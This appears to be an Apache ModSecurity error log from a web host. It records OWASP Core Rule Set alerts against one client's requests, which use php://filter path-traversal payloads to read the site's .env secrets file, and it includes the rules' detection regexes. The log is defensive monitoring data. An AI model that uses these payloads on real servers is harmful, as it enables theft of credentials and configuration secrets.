[Fri Jul 17 08:55:11.707259 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglw7FYe46zHK_jL3PoQAAABk"]
[Fri Jul 17 08:55:11.710061 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&dir=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&ref=RGVAN36YgtTsg_8_C49uxCctY03a3k0OOMWLm6WH6OrpebHzPuVIjRkC_4vPEghWKgaeHGdGgC_DIneGr_5dPdjLEHc92Q2_ssF7T8TeaR7aul3MatFckLjjrs3nHtj0NWqbUHW5ZRHNhc3mOcxjUrIjEHD9gB_GwYhg4vCaQ1FWulKEGpWlk8c2Ali3CV9C2fNv2l3kVD4nWddsHY8HNX_HNyQUc46EPyLTSN2usnAJ0vuim1shNfKNKHuCLeEkEMsbPFW1JG-egW2g1p0OLrez&extra=JGG6WWA42FU53Z2OCDLBWNQ5Q5VUSCIACXZAEXMD5DX6O..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t7AAAAA4"]
[Fri Jul 17 08:55:11.710117 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:dir: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t7AAAAA4"]
[Fri Jul 17 08:55:11.710164 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&dir=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env&ref=RGVAN36YgtTsg_8_C49uxCctY03a3k0OOMWLm6WH6OrpebHzPuVIjRkC_4vPEghWKgaeHGdGgC_DIneGr_5dPdjLEHc92Q2_ssF7T8TeaR7aul3MatFckLjjrs3nHtj0NWqbUHW5ZRHNhc3mOcxjUrIjEHD9gB_GwYhg4vCaQ1FWulKEGpWlk8c2Ali3CV9C2fNv2l3kVD4nWddsHY8HNX_HNyQUc46EPyLTSN2usnAJ0vuim1shNfKNKHuCLeEkEMsbPFW1JG-egW2g1p0OLrez&extra=JGG6WWA42FU53Z2OCDLBWNQ5Q5VUSCIACXZAEXMD5DX6OCEDEKFOAINH6F6LK6K7JDA66VVXF..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t7AAAAA4"]
[Fri Jul 17 08:55:11.710191 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&dir=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env&ref=rgvan36ygttsg_8_c49uxccty03a3k0oomwlm6wh6orpebhzpuvijrkc_4vpeghwkgaehgdggc_dinegr_5dpdjlehc92q2_ssf7t8tear7aul3matfckljjrs3nhtj0nwqbuhw5zrhnhc3mocxjurijehd9gb_gwyhg4vcaq1fwulkegpwlk8c2ali3cv9c2fnv2l3kvd4nwddshy8hnx_hnyquc46epyltsn2usnaj0vuim1shnfknkhucleekemsbpfw1jg-egw2g1p0olrez&extra=jgg6wwa42fu53z2ocdlbwnq5q5vusciacxzaexmd5dx6ocedekfoainh6f6lk6k7jda66vvxf..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t7AAAAA4"]
[Fri Jul 17 08:55:11.710217 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:dir: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t7AAAAA4"]
[Fri Jul 17 08:55:11.710242 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:dir: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t7AAAAA4"]
[Fri Jul 17 08:55:11.710605 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:dir: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t7AAAAA4"]
[Fri Jul 17 08:55:11.711679 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t7AAAAA4"]
[Fri Jul 17 08:55:11.711796 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.712190 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&dir=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&ts=EJzJ4t07ZYH0rFfL1iEMnIMji-nkujB9Lq02WVEXAaDfKxvkI3TBeoAEPJQxWQMwP1K9obtOKDCjy7rk0DlWCEXJNWIImVkxPg4x3qDksJzDJbq8O6RC0mGKGEsVVSJsJvY0VVXkkCCF6zaR5xic2gFQ_K-F-8FvY-4RjlHCrn4I92zK5soPVVvnQNAzP_RuVSkglEOqcVTHQh_RCwu3K-z2z7rCtH5tQgTklRO5BMXkWx-i2kcB-Mrp2eYTRCbHeMO6PJJgdfnOpPc1V6ZOUQmg&junk=4UW37Q7SYCYYEJDAX3NFAIWXUVIAIFQHJC7XOZ64LBCREDT4OB3UY6ATDJPSWADIKPGSA..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-NwAAABw"]
[Fri Jul 17 08:55:11.712238 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:dir: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-NwAAABw"]
[Fri Jul 17 08:55:11.712284 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&dir=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&ts=EJzJ4t07ZYH0rFfL1iEMnIMji-nkujB9Lq02WVEXAaDfKxvkI3TBeoAEPJQxWQMwP1K9obtOKDCjy7rk0DlWCEXJNWIImVkxPg4x3qDksJzDJbq8O6RC0mGKGEsVVSJsJvY0VVXkkCCF6zaR5xic2gFQ_K-F-8FvY-4RjlHCrn4I92zK5soPVVvnQNAzP_RuVSkglEOqcVTHQh_RCwu3K-z2z7rCtH5tQgTklRO5BMXkWx-i2kcB-Mrp2eYTRCbHeMO6PJJgdfnOpPc1V6ZOUQmg&junk=4UW37Q7SYCYYEJDAX3NFAIWXUVIAIFQHJC7XOZ64LBCREDT4OB3UY6ATDJPSWADIKPGSADKQ335HLBPUJQNBHL72LEXYWTR..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-NwAAABw"]
[Fri Jul 17 08:55:11.712337 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&dir=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&ts=ejzj4t07zyh0rffl1iemnimji-nkujb9lq02wvexaadfkxvki3tbeoaepjqxwqmwp1k9obtokdcjy7rk0dlwcexjnwiimvkxpg4x3qdksjzdjbq8o6rc0mgkgesvvsjsjvy0vvxkkccf6zar5xic2gfq_k-f-8fvy-4rjlhcrn4i92zk5sopvvvnqnazp_ruvskgleoqcvthqh_rcwu3k-z2z7rcth5tqgtklro5bmxkwx-i2kcb-mrp2eytrcbhemo6pjjgdfnoppc1v6zouqmg&junk=4uw37q7sycyyejdax3nfaiwxuviaifqhjc7xoz64lbcredt4ob3uy6atdjpswadikpgsadkq335hlbpujqnbhl72lexywtr..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-NwAAABw"]
[Fri Jul 17 08:55:11.712378 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglyRF0UOO1RzB5_8t7AAAAA4"]
[Fri Jul 17 08:55:11.712386 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:dir: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-NwAAABw"]
[Fri Jul 17 08:55:11.712414 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:dir: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-NwAAABw"]
[Fri Jul 17 08:55:11.712773 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:dir: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-NwAAABw"]
[Fri Jul 17 08:55:11.713784 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-NwAAABw"]
[Fri Jul 17 08:55:11.713912 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.714170 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&dir=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&debug=S1F6Zi6DWYIaH_0qg25rsY4Fq394kJdV9fsWLCpFfAQWYQ6kXwSj61SiECLIB32zR6QNcmZQfdnTmXohO0M-YwIoyn3pr4ncIB6H4pJ7n1Tc4ObbrmN3a0K0BgVLPJ6JdWXPGRB18zVSFiHPWFEWuls9s44yKSjIX3AR0usJ5MkWw9j_6_FLyYN8_zOi_94DUyh5OMvycpZfreTJyByo4_znCksY_2iW_34Kq8q92YVjB8HZFw5HKuQxeWEOgMtRzzg4S_mmneUdgwSkH4-DTW7i&ts=FN4M3QIATQWZ3SPZ4SOUOLTUZDLSIPQVSOKD7UFP7IHWISXUPCKFXW3SZXJVVZT..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AbwAAAAU"]
[Fri Jul 17 08:55:11.714220 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4Zvbo7N5o5zeYC-NwAAABw"]
[Fri Jul 17 08:55:11.714223 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:dir: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AbwAAAAU"]
[Fri Jul 17 08:55:11.714276 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&dir=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&debug=S1F6Zi6DWYIaH_0qg25rsY4Fq394kJdV9fsWLCpFfAQWYQ6kXwSj61SiECLIB32zR6QNcmZQfdnTmXohO0M-YwIoyn3pr4ncIB6H4pJ7n1Tc4ObbrmN3a0K0BgVLPJ6JdWXPGRB18zVSFiHPWFEWuls9s44yKSjIX3AR0usJ5MkWw9j_6_FLyYN8_zOi_94DUyh5OMvycpZfreTJyByo4_znCksY_2iW_34Kq8q92YVjB8HZFw5HKuQxeWEOgMtRzzg4S_mmneUdgwSkH4-DTW7i&ts=FN4M3QIATQWZ3SPZ4SOUOLTUZDLSIPQVSOKD7UFP7IHWISXUPCKFXW3SZXJVVZTFXB6KU2IZ67P5FW7GLXTY63NHTXD..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AbwAAAAU"]
[Fri Jul 17 08:55:11.714312 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&dir=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&debug=s1f6zi6dwyiah_0qg25rsy4fq394kjdv9fswlcpffaqwyq6kxwsj61sieclib32zr6qncmzqfdntmxoho0m-ywioyn3pr4ncib6h4pj7n1tc4obbrmn3a0k0bgvlpj6jdwxpgrb18zvsfihpwfewuls9s44yksjix3ar0usj5mkww9j_6_flyyn8_zoi_94duyh5omvycpzfretjybyo4_zncksy_2iw_34kq8q92yvjb8hzfw5hkuqxeweogmtrzzg4s_mmneudgwskh4-dtw7i&ts=fn4m3qiatqwz3spz4souoltuzdlsipqvsokd7ufp7ihwisxupckfxw3szxjvvztfxb6ku2iz67p5fw7glxty63nhtxd..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AbwAAAAU"]
[Fri Jul 17 08:55:11.714343 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:dir: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AbwAAAAU"]
